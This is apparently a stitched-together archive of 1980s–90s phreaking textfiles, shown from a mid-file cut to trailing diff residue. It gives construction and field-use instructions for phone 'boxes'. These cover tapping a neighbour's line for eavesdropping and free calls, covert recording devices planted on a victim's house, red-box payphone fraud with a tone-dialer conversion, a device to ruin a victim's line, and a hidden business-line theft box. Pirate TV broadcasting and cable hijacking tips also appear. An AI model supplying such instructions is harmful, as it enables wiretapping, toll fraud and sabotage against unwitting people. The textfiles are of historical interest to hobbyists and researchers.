To pole or trans. & one pole of switch + + 5. Connect the pin directly across to one pole of the phono jack. + 6. Connect the RED wire to one side of resistor and to the C pole of the + transistor. + 7. Connect the open pin of the switch the other side of the resistor and to + the G pole of the transistor. + +=/=\=/=\=/=\=/=\=/=\=/=\=/=\=/=> Wiring Diagram <=/=\=/=\=/=\=/=\=/=\=/=\=/=\= + + RCA Jack Transformer LED + _____ C A + Pole of Jack --/---! Top !---/--(*)--\------GREEN wire + -!View !- Primary --I---RED wire + Pole of Jack --/---!_____!---/-I (O) + I I + I [--I-----Pole of Switch + I + I--------------Pole of Switch + +=/=\=/=\=/=\=/=\=/=\=/=\=/=\=/=> Key To Symbols <=/=\=/=\=/=\=/=\=/=\=/=\=/=\= + +-- Wire +I Connection or wire +/ Connection or wire +_/ C pole of transistor --(*)-- +[_)-- G pole of transistor I + I A pole of transistor (O) Resis + I + _____ + ---! Top !--- + -! View!- Primary Transformer + ---!_____!--- + +=/=\=/=\=/=\=/=\=/=\=/=\=/=\=> Use Of The Pink Box <=\=/=\=/=\=/=\=/=\=/=\=/=\= + + Hook the RED and GREEN wires up to the appropriate terminals and hook the +RCA jack to the output on your stereo. Turn on your stereo at a good volume. +Now call a friend. To test the Box, hold down the switcn and hang up the +phone. The LED should go on and your friend should hear music. If nothing +happens, start over. The hold is shut off if you pick up a phone on that line +or your end hangs up. + + + + +Brought to you by: The Crack Crew Written by: Baba O'Riley + + + + How to Construct a Purple Box. + ------------------------------ + + + The Purple Box is very simple to construct. It takes only six components +and a PC board if you want. The Purple Box is a telephone hold button. It +will allow you to switch phones very easily. + + A red LED indicates when a party is on hold and is automatically +extinguished when either party releases the line. + + To install your Purple Box, remove the telephone case and locate the red +and green wires. From the green wire, make a connection to L1 and from the +red +wire a connection to L2. + + To test the circuit, call a friend and then while pressing the push +button, hang up the phone. As soon as the phone is on the hook, you may let +go +of the push button. + +Parts: + + D1 = Light Emitting Diode (LED) + D2 = 1N4003 Diode + R1 = 820 ohm 1/2 Watt + R2 = 1K ohm 1/2 Watt + S1 = N.O. Push Button S1 + SCR1 = C106B1 __|__ + +--o o---+----R1----+ + | g| | + +--------LED--R2---+-------a--+--c--D2---+ + | | + |L1 SCR----/ |L2 + | | + To Green To Red + + + The SCR is a three prong IC. The a,g, and c tell you what pins to use. The +"g" pin is the one on the left if you look at the numbers. + + Have Phun, + The Flash + +*********************************************************** + * + MEMBER NAME: RAZZBOX * + * +*********************************************************** + + _________________________________________________________________________ + | | + | A Crime Ring G-File Production | + | __ __ | + | |__| The Razz Box |__| | + | | + | Written by The Razz | + | | + | -:+ Released by The Magnet +:- | + |_________________________________________________________________________| + + + Introduction: + + So you want to be James Bond eh? So you want to be a private eye eh. + Well here's your chance to pick up some very important clues or ideas using + your neighbors telephone line. Forget about climbing a telephone pole this + sort of boxing can be done on the ground. + + Purpose: + + To tap your neighbors line without your neighbor knowing it. You can + also make FREE (let me repeat that) FREE!! Phone calls to your favorite + K-RAD-GNEW-WAREZ boards. + + Materials: + + 1. Line Man's headset (no you can't buy one that's why we're making one you + IDIOT) + 2. Alligator clips (clips is Plural so you need Two) + 3. A phone (preferbly one of those one peice kind that like the ones with the + numbers and the thing the hangs up on the ONE phone piece) + 4. A Telephone wall jack box or whatever they're called + 5. Some green and some red wire + 6. Some intelligence (very Much needed) + + Plans: + + First hook up your one piece phone to the wall jack box. Then take + the alligator clips and attach red wire to one and green wire to the other + one. You should have 2 alligator clips with wire attached. Now strip the + wire and open the Wall jack box you have and attach the red wire with the + red screw on the box and the green wire with the green screw on the box. + Your stuff should look like this. + + _______ + | ... | <--one peice phone + | ... | __________________ + | | | | <--oversize box to show + | 123 | | (*)r--- (*)b | the detail + | 456 | _| | | + | 789 | ()()()|_ | | + | *0# | () | ---- | | + | ... | () | (*)g| | (*)y | + |_______| () |_______|_|________| + () () | | + () () green wire--> | | <--Red Wire + ()() | | + | | + \/\/\/ /\/\/\ + + + Hints: + \/\/\/- Green wire Alligator clip + /\/\/\- Red Wire Alligator Clip + + Using Your newly made device: + + Now that you have made or created your little Razz Box then you are + ready to go outside and do your stuff. First go to a neighbor's house and + find the black telephone wires. They should look like Example #1. Then cut + off a bit of the plastic covering so the alligator clips go in easier and + you now stick the alligator clips one on the right and one on the left side + of the plastic wire as shown on the diagram. The Black plastic wire should + look like the diagram. You should get a dialtone. If you do not then switch + the alligator clips around till you do. Remember your neighbors can hear you + as well so get one of the phones with the MUTE option so you can plug into + theres quietly. + + | || | + | || | + | || | <<<----black wire + | || | + \/\/\/||/\/\/\ <<<---alligator clips. + | || | + | || | + + Disclaimer: + I as writer of this file take no responsibility at all (And I repeat + NO RESPONSIBILITY) of this file. This File is ONLY for informational purposes + ONLY. + + If you have any question, suggestion, or correction, you can contact The Razz + or me, The Magnet, at any of the boards listed at the end of this file. + + Copyright [12] Nov, 1988 + -:+ The Magnet +:- + Crime Ring International + The Razz + + + Red Box Intro File + + +The Red Box is an electronic device that mimics the pulsed beeps produced in +payphones (fortress phones) when one drops coins in to make a phone call. The +objective is to make free phone calls. The red box may be an electronic +oscillator that produces the right tones, or a high grade taperecorder in which +previously recorded tones are played back. For recording, the tape recorder +connected directly to the phone line to record the coin sounds-not accoustically +coupled. A phriend calls from a payphone. When the phreaker answers, the phriend +deposits coins into the payphone while the phreaker recordes the beeps. The +phriend can't hear the beeps because the earpiece is muted during coin deposits. +Later, the phreaker plays back these sounds to stimulate his own coin deposits. +Note, that Red Boxes only work on single-coin-slot payphones-not the old ones +that have three round coin slots at top. +The tone's intervals are not generated by the coins pushing levers on the +payphone mechanism as most people believe, but by a small relay which reverses +the direction of the wheel that the levers cock.In other words, when a coin is +dropped by the operator, it pushes a plastic vane lever which cocks a wheel. +The coin than drop into a drop chute, and the signal goes thru a 70msec delay +to allow the coin to clear the mechanism. Then, a unijuncyion transistor (UJT) +circuit pulls in a relay solenoid, which unwinds the wheel until it returns to +the start position. The number of times the relay ticks, while pulling the +wheel, is the number of beeps. If the wheel went five notches forward, a switch +drops, programming the unit to do 35msec beeps (quarter). However, regardless +of the coin used, the first beep will be delayed 70msec to permit the coin to +clear the mechanism. See the figures for the precise waveforms. These beeps are +critical. If not precisely produced, fraud will most likely be suspected! If a +taperecorder is used, it must be a high quality one that runs 7.5 IPS. +When you drop in more than one coin, the beep combinations are appended to each +other, as far as waveforms go, but the total number beeps indicate to the +operator the total number of nickel-units deposited. + + + + + + + A Shadows of IGA Production... + + ({})({})({})({})({})({})({})({})({})({})({})({})({})({})({})({})({})({})({}) + ({}) ___ __ ({}) + ({}) Introducing: | |_| |_ _ _______ _____ ____ ({}) + ({}) | | | |__ | \ / \ / \ | _/ ({}) + ({}) _ _|_____/ | | | |_/ ({}) + ({})({})({})({})({})({})({})({}) | \ | | | | \_ ({}) + ({}) | \ \_____/ \____/ | \ ({}) + ({}) _ _______ _____ _ _ ({}) + ({}) | \ / \ \ / ({}) + ({}) _ _|_____/ | | \/ ({}) + ({}) | \ | | /\ ({}) + ({}) _ _|_____/ \_____/ _/ \_ ({}) + ({}) ({}) + ({}) Created & Designed By Video Vindicator ({}) + ({}) ({}) + ({})({})({})({})({})({})({})({})({})({})({})({}) + +INTRODUCTION +------------ + + And now for all you basement engineers... Here's the ROCK BOX! Basicly what +the Rock Box does is channel the music from the stereo out to the phone line +via the headphone output. There are two models to this Box, the Basic Box +and Advanced Box. I would recommend the Advanced Box for better sound +quality, although the Basic one get's the job done. Well... Enough for the +formalities, now for the Advanced Box! + + Identification Materials Specification + -------------- --------- ------------- + + A 1 Resistor (Brown-Black-Red-Silver) + B 1 Resistor (Orange-Orange-Orange-Gold) + C 1 Resistor (Gold-Red-Red-Grey) + D 1 Resistor (L.Green-D.Green-Brown-Gold) + E 1 Resistor (Brown-Red-Red-Gold) + F 3 Condensators (1070 (50v)) + G 4 Condensators (1002 (40v)) + H 1 Condensator (1060 (16v)) + <*> (Also S) 2 Switches (2-Channel) + ^#^ (Also K) 1 Transformer (LUN5250B) + ~o~ 1 LED Light (Optional) + J Junction + + + Wiring Diagram -Advanced + + Switch for Volume Hi/Lo Switch for Power On/Off + _______________________________________________________________ + | +---------+ | + | +-----------+ C-B-A +-------+ J J +--------+ | + | | S-S-S-O | | +-S-S | S--------+ +---------> > | IN + | | | | | +-S+ O +-------------> >-+ | >+ | | >-+ | + FROM |<| +----+ F H | +STEREO>| | < | F-----------O-----KKK KKK | + | +------D--E-+ ^#^ K ^#^ | + |_______________________________________________________________| + + + + Wiring Diagram -Basic + + ___________________________________ + | | + | <------+ F--KKK--H +---> | + | | | ^#^ | +----> | OUT + IN | <------*----+ +------* | | + STEREO>| <------+ +---> | + |___________________________________| + + + Now some of the Benifits of this wonderful little device is that you can +record conversations, at whatever volume you want, without those bothersome +beeps the answering machines make. Or another fun thing is call up a Rodent +Bridge and blast this thing with your stereo at full... Wala! The bridge +will most likely be clear, even they won't sit through that shit. It is a +good idea to hit Radio Shack for a project box and soderless curcuit board, +because this can be messy and a project box can easily make you look like a +pro. One more use for it is if your computer can generate tones to match a +Box of some sort, this makes a GREAT amplifier for it, with almost no loss in +clearity. If you have any problems with a humm or it intercepting radio +transmittions, then call up good-old Bell and get a line static clearer dealy +and splice that into the box via the outgoing line, which SHOULD clear it up. +If that does not seem to help, try putting a 9v battery (you know, the square +ones) on the red and green phone lines, because this will make up for the +power the box drains from the line. Hope you enjoy the plans and Be watching +for more from me! L8r... + + The Video Vindicator + + + + +5/09/91 +-----------------------=======< Sanctuary >=======------------------------- + Productions +Presents..... + +(Reprinted, (c) 1990, 2600 Enterprises, Inc. Volume Seven, Number Three +Autumn, 1990.) + +Typed by Havok Halcyon... + + Converting a Tone Dialer into a Red Box + ======================================= + +by Noah Clayton + + A very simple modification to Radio Shack pocket tone dialer part #43- +141 ($24.95) can make it into a red box. The modification consists of +changing the crystal frequency used to generate the microprocessor's +timing. To make this modification you will need a Phillips screwdriver, a +flat bladed screwdriver, a soldering iron, a pair of long nose pliers, a +pair of wire cutters and a 6.5536 MHz (megahertz) crystal. + + Orient the dialer with the keypad down and the speaker at the top. +Remove the battery compartment cover (and any batteries) to expose two +screws. Remove these two screws and the two on the top of the dialer near +the speaker. There are four plastic clips that are now holding the two +halves of the dialer together. Push on the two bottom clips near th +ebattery compartment and pull up to seperate the bottom part. Now slide a +flat screwdriver into the seam on the left starting from the bottom and +moving towards the top. (You may have to do this on th eright side as +well.) + + When the two halves separate, slide the speaker half underneath the +other half while being careful not to break th tewires connecting thte two. +Locate the cylindrical metallic can (it's about half an inch long and an +eighth of an inch in diameter) and pull it away from the circuit board to +break the glue that holds it in place. Unsolder this can, which is a +3.579545 MHz crystal, from the circuit board. + + The hard part of this modification is getting the new crystal to fit +properly. Bend the three disk capacitors over,[And out of the way the best +you can, making room for the new crystal. You may need to remove the screw +in the way as well.] Since the 6.5536 MHz crystal is probably much bigger +than the crystal you are replacing, you will need to bend the leads on the +new crystal so that they will match up will the pads on the circuit board. +Place the new crystal on the circuit board by soldering it in place. As an +added touch you might peel he QC sticker off of the PC board and place it +on top of the crystal. Now carefully snap the two halves back together +while checking to make sure that none of the wires are getting pinched or +are in the way of the screw holes. Put the case screws back ion and insert +three AAA batteries into the battery compartment. + + You dialer is now ready to test. Switch the unit on. The LED on th +edial pad side should be lit. Set the lower slide switch to STORE mode. +Press the MEMORY button on the dial pad. Press the * key five times. +Press the MEMORY key again and then press the P1 key. A beep tone when any +key is pressed and a long beep should sound after the P1 key has been +pressed to indicate that the programming sequence was performed correctly. + + Switch th eunit into DIAL mode. press the P1 key, and five tone +pulses that sound remarkably like coin tones should come out of the +speaker. I usually program P1 to be four quarters (insert one or two +PAUSE's between each set of five tones), P2 to be two quarters, and P3 as +one quarter. + + Of course, you can no longer use the unit to generate touch tones..... + +REFERENCE + + The crystal is available from Fry's Electronics in Freemont, CA for +$0.89 plus the charge for UPS Red or Blue. Their number is 415-770-3763. +I would suggest buying five, some for future use and some just in case you +cut the leads too short when trying this project. + + + + [/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/] + [ ] + [ Scarlet box plans ] + [ ----------------- ] + [ A High Mtn Hackerz Presentation ] + [ ] + [ Written & Created by: THE PIMP ] + [ ] + [/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/] + + + The purpose of a Scarlet box is to create a very bad conection, it can be +used to crash a BBS or just make life miserable for those you seek to avenge. + +Materials: 2 aligator clips, 3 inch wire, or a resister + +(plain wire will create greatest amount of static) + +(Resister will decrease the amount of static in porportion to the resister you +are useing) + +Step (1): Find the phone box at your victims house, and pop the cover off. + +Step (2): Find the two prongs that the phone line you wish to box are connected +too. + +Step (3): Hook your aligator clips to your (wire/resister). + +Step (4): Find the lower middle prong and take off all wires connected to it, i +think this disables the gound and call waiting and shit like that. + +Step (5): Now take one of the aligator clips and attach it to the upper most +prong, and take the other and attach it to the lower middle prong. + +Step (6): Now put the cover back on the box and take off!! + + + + + ** ######## ** + ** # #### # ** + ######## / + # #### # / + ######## / + / + / + / + / + / + / + / + **/ + ** + + + + ** ** + ** ** + + +(**)= prongs + ** + +(/) = (wire/resister) + +(##)= some phone bullshit + + + Created by (The Pimp) + + S C R I B B L E V I S I O N + + 11-MAY-90 + +If you open the back of a TV, there's the neck of the picture tube sticking +out the back. It has a 'yoke' around it that is made of two large +saddle-shaped coils, usually of lacquered copper wire. Sometimes the coils are +wrapped in tape or plastic or an insulation of some kind, but they're usually +just copper. + + _____ + | \ Yoke (wraps around tube neck) + | \ ===== + | \-----------\-| + | Picture Tube |-| (plug on END of tube neck remains connected) + | /-----------/-| + | / =====\ + |_____/ Yoke \ Wires from YOKE to CHASSIS + \ (cut these and connect YOKE to STEREO) + \ + \ (leave the CHASSIS end of the wires UNCONNECTED) + ------------------------- +| TV Chassis | + ------------------------- + + +OK. Sometimes there is a bundle of wires or a multi-wire cable that goes from +the yoke coil to the chassis. (the yoke coil defects the light spot back and +forth so that it scans out the TV picture. Check an encyclopedia or TV repair +book at a library for illustrations or block diagrams etc. if this isn't +clear) anyway, the yoke coil will be connected to the main chassis/circuitry +of the TV set by several wires, sometimes there's a cable connector or +multi-pin plug/socket arrangement on the end. What you have to do is +disconnect ALL wires that lead from the chassis to the yoke coils (do this +with the TV _OFF_ : HIGH VOLTAGE!!!). If the yoke wires have a connector, +just unplug it from the chassis. If the yoke wires are soldered on to the +chassis you will have to cut them. There will also be wires running from a +plug/socket on the very end of the neck of the picture tube. Leave these +connected - they are needed to warm up the picture tube so you get an image +on the screen. + +Now, turn the tv on and carefully touch a pair of speaker wires connected to +a playing stereo, (or just run a 9 volt battery over to the yoke wires) try +out various pairs of wires until you see the spot of light that will be in +the center of the TV picture (you have disabled scanning and should only see +one dot on the face of the picture tube) uh, try connecting voltage or +speaker audio into pairs of yoke wires until you have determined which two +pair of wires move the dot vertically and which pair move it horizontally. +You can use a mirror to watch the TV while fiddling about in back with the +yoke wires. Once you have determined the vertical and horizontal pairs, just +run a set of speaker wires from your stereo over to the yoke pairs and turn +up the volume, and adjust the left-right balance until the music or radio you +are listening to makes the screen scribble around and pulsate to the music. + +If you have an oscilloscope, it's even easier - just put the oscilloscope in +X/Y mode and feed one channel of a walkman into the horizontal probe and the +other channel (left/right channels here) into the vertical sweep probe. The +oscilloscope will display a scribble of the music coming from the walkman. + +Old black and white TVs work better than color TVs for making scribble +visions. The only requirement is that light appears on the screen when you +turn on the TV set (that is, you can see the scanning pattern). You may have +to adjust contrast and brightness to get the best scribble trace on the +screen. + +If you are using a 'good' TV you might want to install DPDT switches to switch +back and forth between scribble and normal TV modes. Make sure the DPDT +switches isolate the chassis scanning signals from your stereo completely or +you can blow things out. + + + This is a diagram of the contacts on the bottom of a DPDT switch. + Make two of these, one for the Left/Horizontal Yoke-to-Stereo + connections and one for the Right/Vertical Yoke-to-Stereo connections. + You only need to do this if you want to switch back and forth + between TV and Scribblevision modes. Make SURE the Chassis wires + will get connected to their original corresponding Yoke wires when + the switch is flipped. + + |wire to Yoke Coil + | + ------o o o----- + wires from chassis wires from stereo + ------o o o----- + | + |wire to Yoke Coil + + +You can also reverse the leads from the chassis to the yoke to make the TV +display a mirror image or upside-down picture. Mirror reversal is convenient +if you don't want to be forced to read adversizement graphics when they +appear on the screen. + +Oh, if you watch a mono audio source in scribble-vision mode, you will just +see a diagonal line instead of a full scribble pattern. You might have to +adjust the tone controls on the stereo in a wierd way because bass sounds +make larger patterns than treble sounds, but treble sounds produce more +complex textures. Experiment around. + Outlaw + Telecommandos + + + + + + + HOW TO BUILD A SILVER BOX + + MATERIALS : Soldering iron and solder + 22 ga. wire + SPDT switch + screwdriver + + PROCEDURE + +1) Unscrew your phone (must be a touch tone, desk type) +2) Remove the mounted pad and take the clear plastic cover from the bottom. +3) Hold the pad with the numbers 0, *, # facing you, and turn it upside down, + so you can see the yellow pc board. +4) You should see 2 black round doughnuts. +5) Position the board so the solder points for the left doughnut face you. +6) Count over four points from the left, and attach a (green) wire to that + point. +7) Between you and the doughnuts, there should be 2 long yellow capacitors. + To the right of these, and on the edge of the board there should be 3 gold + contacts. We will use the one on the left. +8) The contact originally is spot welded, so snip it open. +9) To the one nearest you, attach a (red) wire; to the other one, a (yellow) + wire. +10) Run the wires out of the phone, and solder the switch. +11) The orientation should be (red) to center. The switch will now alternate + between normal and 1633hz fourth column tones. + + + + + + + + + _____________________________________ + | | + | : : : : : : : : : : : : : : : | + | : /\/ew \/\/ave /-/acking : | + | : : : : : : : : : : : : : : : | + | | + | by: Dispater | + _____________________________________ + /\/\/\/-/ /\/\/\/-/ + 8/20/90 | | 8/20/90 + | The Slush Box | + | | + |_____________________________________| + + + + + The slush box is currently under development by Master Zerez and + myself. When plans are complete, the Slush Box can be installed + at places of business that have the standard multi-line phones. + The box will be used on business phone systems like the "Com-Key" + or similar phones. Installation will be fairly simple, and take + just a couple of minutes to install. Here's how: + + | + | + W | + a | + l | Big, fat 25-pair cable Connector from wall + l | \ ______________ / + |-------------------------/ \ / + |------------------------/ \ + | |----------------| + | | Slush Box | + | |----------------| To any extension phone + | \ /------------------------- + | \______________/-------------------------- + | / + | / + Connector on end of extension phone + + These connectors are easy to find because nearly every desk in + the business has a phone, right? And behind every desk you'll + find one of these connectors. Just separate the connectors. + (You will need a small flat-blade screwdriver to loosen a screw on + each end) Then insert the Slush Box and make sure everything is + securely plugged in. + + - THE SLUSH BOX IN THEORY - + + It works basically like it was YOUR OWN extension of the business' + phone. The Box is powered from the phone's existing power. You + call the business' number (way after hours, of course!). After 25 + rings, the Slush Box answers on Line 1. Nothing further happens + until you enter a password into the Box. (Something simple, like + "#" "5" ) The Slush Box then connects you to Line 2. Voila! You + have a nice dial tone. (On some systems you'll have to dial a "9" + to get the dial tone.) Well, after your first call from their + Line 2 you'll want to hang up Line 2 and make another call. + Simple. Just enter your password and you'll get dial tone again. + (Example: "#" "5" again) The Slush Box turns completely off if + you hang up from your end. + + THIS FILE WILL BE UPDATED AS WE RECEIVE THE INFO WE NEED + + So far, we know the electronics in the box will be kept to a + minimum. Circuits we need to work on: + + 1. A circuit that can count rings (or count "flashes" + from a pin on the connector) then seize the line. + 2. A tone decoder circuit (preferably using Radio Shack's + Decoder Chip) that can hold a couple of password digits. + 3. Input from other phreakers to help keep this project going. + + + + ADVANTAGES OF THIS KIND OF CIRCUIT + + 1. It is easily installed in ANY multiline phone system. + 2. It works for ONLY you because it has a password. + 3. The more of these you install, the less you will use each + one, and the less chance of it being discovered. + 4. The phone company considers their responsibilities for checking + out lines to end at the phone box outside. It is unlikely that + a phone company employee would enter the premises and check for + the existence of such a circuit. + 5. The Slush Box is small and installed in an inconspicuous manner.  + + 6. If they even NOTICE the extra calls, they'll assume they're from: + (a) a billing error. + (b) a dishonest employee coming in after-hours to make calls. + (c) someone tapping into the phone line from OUTSIDE the + premises. + + + If you can help us get this finished contact Dispater. Thanks! + + + + + + How to Build Your Own Underground + Television Transmitter + Using Commercially + Available + Parts + + + Yes, for some time now it has been possible to construct a clandestine +television station, which you can operate from your Telecommando Lair, or modify +for Mobile Media Guerrilla campaigns. + + We have named this device the Snow Box, due to its cool nature, and the snow +seen on blank television channels waiting to be commandeered. + + To put together a TV station you will need this stuff: + +A VCR or Camcorder with video or RF outputs + +A Ham Radio 6-meter Band Linear amplifier + (This boosts the RF signal from the VCR for broadcasting) + (The Linear Amp should have a bandwidth of 6 MHz for best results) + A cable television RF distribution amplifier may also be used. + +Coaxial cable with UHF connectors + (Connects the Linear Amp to the Antenna) + +A cable-TV patch cable with an F-connector and a UHF connector + (To connect the RF signal to the Linear Amp) + (F-connectors are the small ones used with cable TV) + (UHF connectors are the large ones used for Ham Radio) + +If your VCR does not have RF outputs: + An external RF modulator (converts video to channel 3,6,12 etc.) + a cable with RCA connectors (a standard stereo cord is ok) + +A 6-meter Ham radio antenna. + +If you do not have a pre-made 6-meter antenna: + About 20 feet of strong wire + 3 ceramic antenna insulators + another UHF connector + + Likely places to get the linear amplifier, connectors and cables is a +Ham Radio swapmeet, a Ham club newsletter's classified ads, a Buy-Sell-Trade +paper like The Recycler, or at a store specializing in Ham gear. +RF modulators are available at specialty video stores, or major VCR dealers. + +Setting Up the Transmitter: + + Using a VCR with RF out: + +[VCR/RF]F----------------------------U[Linear Amp]U------------U[Antenna] + weak RF Power RF + + Using an External RF Modulator: + +[VCR]R-------R[RF Modulator]---------U[Linear Amp]U------------U[Antenna] + video weak RF Power RF + +Diagram Symbols: + +U UHF-connectors (Ham radio) +F F-connectors (cable TV) +R RCA connectors (stereos) +--- coax, cables, wires +[] devices (name of device in brackets) + ceramic insulator (the kind with a hole at each end) + + +Building The Dipole Antenna: + + wire wire +---------------------++---------------------- + | | + Short coax | | + [U] UHF connector + +The antenna is set up much like a clothesline with the wires tethered +straight out horizontally. The outer insulators are used to isolate the +antenna from the tether lines, which should be rope or nylon cords +for good results. The inner insulator isolates a gap between the two +long wires of the antenna. + +The length of the wires used for the antenna is critical. +Look up the length in feet for the channel you want to use in the +table below & make each of the two long wires that length. +As a rule of thumb, a wire half-wave antenna's length in feet is equal to +468 divided by the frequency in MHz. + +**************************************** + VHF Television Channel Data +---------------------------------------- + TV MHz ---carrier--- antenna +channel range video sound lengths +------- ----- ----- ----- ------- + 2 54-60 55.25 59.75 8.47ft + 3 60-66 61.25 65.75 7.64ft + 4 66-72 67.25 71.75 6.95ft + 5 76-82 77.25 81.75 6.05ft + 6 82-88 83.25 87.75 5.62ft + 7 174-180 175.25 179.75 2.67ft + 8 180-186 181.25 185.75 2.58ft + 9 186-192 187.25 191.75 2.49ft + 10 192-198 193.25 197.75 2.42ft + 11 198-204 199.25 193.75 2.34ft + 12 204-210 205.25 209.75 2.28ft + 13 210-216 211.25 215.75 2.21ft + (All frequencies in MHz) + (Lengths are for half-wave antennas) +**************************************** + +For Further information: Look in the ARRL Handbook published by the American +Radio Relay League for detailed plans & theory for antennas, transmitters & +linear amplifiers. The info in that book can be used for setting up an +underground AM or FM radio station. + +Uses for a TV Clandestine Station: + +Public Education: Make a videotape of each step in the process of constructing +your transmitter. Show this tape in your broadcasts, "For informational purposes +only", of course. + +Short-burst zipping: From a fixed or mobile base of operation show short +snippets of graffiti-like computer graphics, quick subliminal messages, +images & suggestions, or brief phreaker manifestos. Commercials are an +opportune time to break into TV broadcasts. + +Live call-in shows: Using a Cheese Box, or other device for receiving +untraceable phone calls and a video camera do a live call-in show. Encourage +people to call in using Red, Blue, and other phreaking boxes. + +Cable TV Piracy: With modifications it may be possible to feed the power RF +signal directly into a cable TV system, overriding cablecasts or comandeering +unused channels. + +Mobile Operation: Using storage batteries and a 110-volt inverter the +transmitter may be modified for mobile use to avoid detection by the FCC during +long broadcasts. Battery operated mobile linear amps and portable camcorders are +also available. + +* Please add any anecdotes or new information you discover to this file * + + + + + +***************************************************************************** +* The Tan Box * +* * +* * +* Written by: * +* * +* Samurai Cat and Tarkin Darklighter * +* * +* * +***************************************************************************** + + + Introduction + ------------ + + The Tan box allows you to make recordings from a phone line, and it will +only record once the victim's phone is picked up. + Basically, this is a modified linesman's handset, or "Beige Box." For a +copy of the Beige Box file, ask your friendly local sysop. A Beige Box +consists of a speaker and two wires, a red (ring) and a green (tip). The Tan +Box also works on this principle. + + + Construction + ------------ + +Parts: + +A small cassette recorder, preferably a micro cassette recorder. + (It MUST have both a microphone jack and a remote jack) +A single line recording control. (Radio Shack part number 43-228) +2 alligator clips (Radio Shack number 270-374) +A plastic box to contain the above parts (also available at Radio Shack) +Tan or Black spray paint +7/16 inch hex driver + +1. Take the recording control and cut the modular plug off. Make sure you + leave enough wire! + +2. Strip the red and green wires. (The yellow and black wires are not + necessary, and can be removed.) + +3. Drill a hole on the end of the plastic box (enough for two wires to go + through). + +4. Put the recording control in the box and run the red and green wires + through the hole. Attach one alligator clip to each of the wires. + +5. Put the micro cassette recorder in the box and plug the remote and + microphone wires from the recording control into it. + +6. Close the box. + +7. Spray paint the box and wires to make it look like it is supposed to be + where it is. (BE SURE YOU LABEL THE WIRES BEFORE YOU PAINT THEM!) + + + Installation + ------------ + + + You can either hook it up to the box on the side of their house or a +bridging head. Use the 7/16" hex driver to open either of these. (On older +houses, you may not have to use a hex driver.) Attach the red wire to the +right terminal and the green to the left. (Remember: Red-Ring-Right) If you +attached the box to a bridging head, there may be room to leave it inside. +If you attached it to the side of a house, run the wires out of their box and +close it. Attach the Tan Box to the side of their house. + Make sure you come back and get the box pretty soon, or you may find it +gone! Micro cassette recorders are not cheap! + + + Be careful, wiretapping is a felony (2-20 years, a $10,000 fine, or +both), and various other laws may be broken (i.e., recording without the +other party knowing it, etc.) + + + Ways to avoid being Beige/Tan Boxed + ----------------------------------- + + + A tap detector may be purchased at Radio Shack (of course). If you do +detect a tap, find the box, and you will have just gotten a new tape +recorder! + + + Disclaimer + ---------- + + This file was written for informational purposes only, so the authors +will not assume any responsiblity for either the use or construction of the +Tan Box. + + + + + + THE TANGERINE BOX + By Happy Harley + +First Off-This is fucking illegal so I would not try it at +all. But have fun if you do, and BTW I assume no +responsibilty for whatever the fuck you may do with this. + + +Intro-A tangerine box is a box that inables you to plug it +in, then listen to the conversation, without them hearing a +click or anything...plus a jack for headphone, or tape. + +Parts:Modular Phone Conector +Speaker +Headphone Jack + +You can get these at your local Radio Shit, er Shack store... + +Here the plans, schamateic or whatever + +Key To symbols: + * * + =Modular Phone Jack, so does *. +* * + +<==>=Speaker + + + V +/Ý\=Head phone jack +R=Red +G=Green +B=Black +Y=Yellow, or sometimes white + + YYYYYYYYYYYY + Y Y + YYYYYYYYYYYYYYY <==> Y + Y YY/ / YY + Y G Y + / /GGGGGGG GG Y + *Y *G G G Y + G G Y +*R *B G\ Ý / + V + +Note=Just leave the Red&Black alone.. + +Now, the speaker will be listening when ever the phone is +plugged in, and when you plug a pair of headphone or a tape +recorder into the Headphone jack, the speaker will +automatically disable. Now have fun, and most +importantly...DON'T GET CAUGHT + + + + +Creating Portable Touchtone Keypads + (White Boxes) +{{{{{{{{{{{{{{{{|}}}}}}}}}}}}}}}}}}} + +This bulletin describes how to take a s tandard touch tone +keypad and convert it to a portable unit. In a ddition, I give +the touch tone frequencies. + +First of all, the tones generated by a standard touch tone +keypad (like one on a standard telephone) are not single tones, +but a combination of two tones for each key pressed. Standard +keypads normally generate 12 tone combinations, but are capable of +generating 16 with a silver box mod. + +The power required by a keypad is about 25 volts, but they will +work with as little as 15, thereby allowing the use of two 9- +volt radio batteries. As you may have guessed, they are also +designed to operate with a telephone type speaker (and phone +line), and not the standard 8-ohm speaker which needs to be +used for adequate volume. To accompolish this, we use a +matching transformer, this is one of those miniature ones +available at Radio Shack. Enough of the theory, now for the +circuit. + +You will need: + +A touch tone keypad +A miniature 1000 to 8 ohm transformer (Radio Shack # 273-1380) +A standard 8-ohm speaker +Two 9-volt radio batteries +Two 9-volt battery clips +A case to put it all in (optional) + +A few construction notes, I suggest that you solder and tape +all connections. It is also important to read this entire +bulletin before attempting to construct this. + +First, connect the RED wire of the transformer to either +terminal on the speaker. Now connect the WHITE wire from the +transformer to the other terminal on th e speaker. Next, +connect the RED (positive) wire of one battery clip to the black +wire of the other battery clip. Now connect the the remaining +RED wire on the second battery clip to the GREEN wire from the +touch tone pad. Connect the BLUE wire from the touch tone pad +to the ORANGE-and-BLACK striped wire from the touch tone pad. +To these two wires, now connect the remaining black lead from +first battery clip. You have now finished the power connection +to the keypad. Connect the BLACK wire from the keypad to the +BLUE wire on the transformer. Next connect the RED-and-GREEN +striped wire from the keypad to the GREEN wire on the +transformer. The BLACK wire on the transformer should not be +connected to anything, along with quite a few wires from the +keypad. The connection of the keypad is now complete. All you +ha ve to do is connect two nine volt batteries to the battery +clips, and you'll be ready to go. You may want to mount it in a +case for easy portability. Note that the silver box modification +CAN be made to this unit, allowing complete remote phreaking. +Wh en none of the buttons are pressed, this unit uses NO power, +thereby eliminating the need for a power switch, and extending +the life of the batteries. + +The following are the frequency combinations generated by each +button on the keypad. + + KEY FREQ. #1 FREQ. #2 + --- -------- -------- + 1 697 1209 + 2 697 1336 + 3 697 1477 + A 697 1633 + + 4 770 1209 + 5 770 1336 + 6 770 1477 + B 770 1633 + + 7 852 1209 + 8 852 1336 + 9 852 1477 + C 852 1633 + + * 941 1209 + 0 941 1336 + # 941 1477 + D 941 1633 + +All frequencies are measured in Hertz Note that A,B,C and D are +not normally present (except for silver boxes) + + + +(c) U.L.T.R.A. 1993 +U.L.T.R.A. #21 by Sinister X + + |||||| |||||| |||||||| + || || || || + || || || || + || || || |||||| ||||| |||||||||| + || || || || || || || || + || || || || ||||| || || + |||||||| |||||| || || || |||||| |||||| + diff --git a/textfiles.com/groups/CDC/visions.crusade b/textfiles.com/groups/CDC/visions.crusade new file mode 